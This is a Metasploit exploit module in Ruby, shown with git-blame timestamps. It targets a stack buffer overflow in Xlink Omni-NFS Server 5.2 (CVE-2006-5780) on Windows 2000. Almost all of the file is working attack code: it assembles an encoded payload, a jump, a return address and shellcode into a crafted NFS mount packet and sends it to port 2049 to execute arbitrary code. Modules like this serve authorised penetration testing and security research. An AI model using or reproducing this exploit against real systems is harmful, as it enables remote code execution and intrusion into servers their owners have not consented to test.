2009-10-03 23:05:44 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-10-03 23:05:44 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2009-10-03 23:05:44 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Omni-NFS Server Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
|
2010-04-30 08:40:19 +00:00
|
|
|
When sending a specially crafted nfs packet, an attacker may be able
|
|
|
|
to execute arbitrary code.
|
2009-10-03 23:05:44 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-12-06 02:30:42 +00:00
|
|
|
[ 'CVE', '2006-5780' ],
|
2010-05-25 02:09:42 +00:00
|
|
|
[ 'OSVDB', '30224'],
|
2009-10-03 23:05:44 +00:00
|
|
|
[ 'BID', '20941' ],
|
|
|
|
[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 336,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
|
2009-10-03 23:05:44 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 06 2006'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([Opt::RPORT(2049)], self.class)
|
2009-10-03 23:05:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
buff = payload.encoded
|
|
|
|
buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
|
|
|
|
buff << [target.ret].pack('V')
|
|
|
|
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
|
|
|
|
buff << rand_text_english(251)
|
|
|
|
|
|
|
|
pkt = [1].pack('N')
|
|
|
|
pkt << [0].pack('N')
|
|
|
|
pkt << [2].pack('N')
|
|
|
|
pkt << [100005].pack('N')
|
|
|
|
pkt << [1].pack('N')
|
|
|
|
pkt << [1].pack('N')
|
|
|
|
pkt << [1].pack('N')
|
|
|
|
pkt << [400].pack('N')
|
|
|
|
pkt << buff[0,400]
|
|
|
|
pkt << [1].pack('N')
|
|
|
|
pkt << [400].pack('N')
|
|
|
|
pkt << buff[300,400]
|
|
|
|
|
|
|
|
sploit = [pkt.length | 0x80000000].pack('N') + pkt
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-03 23:05:44 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-03 23:05:44 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|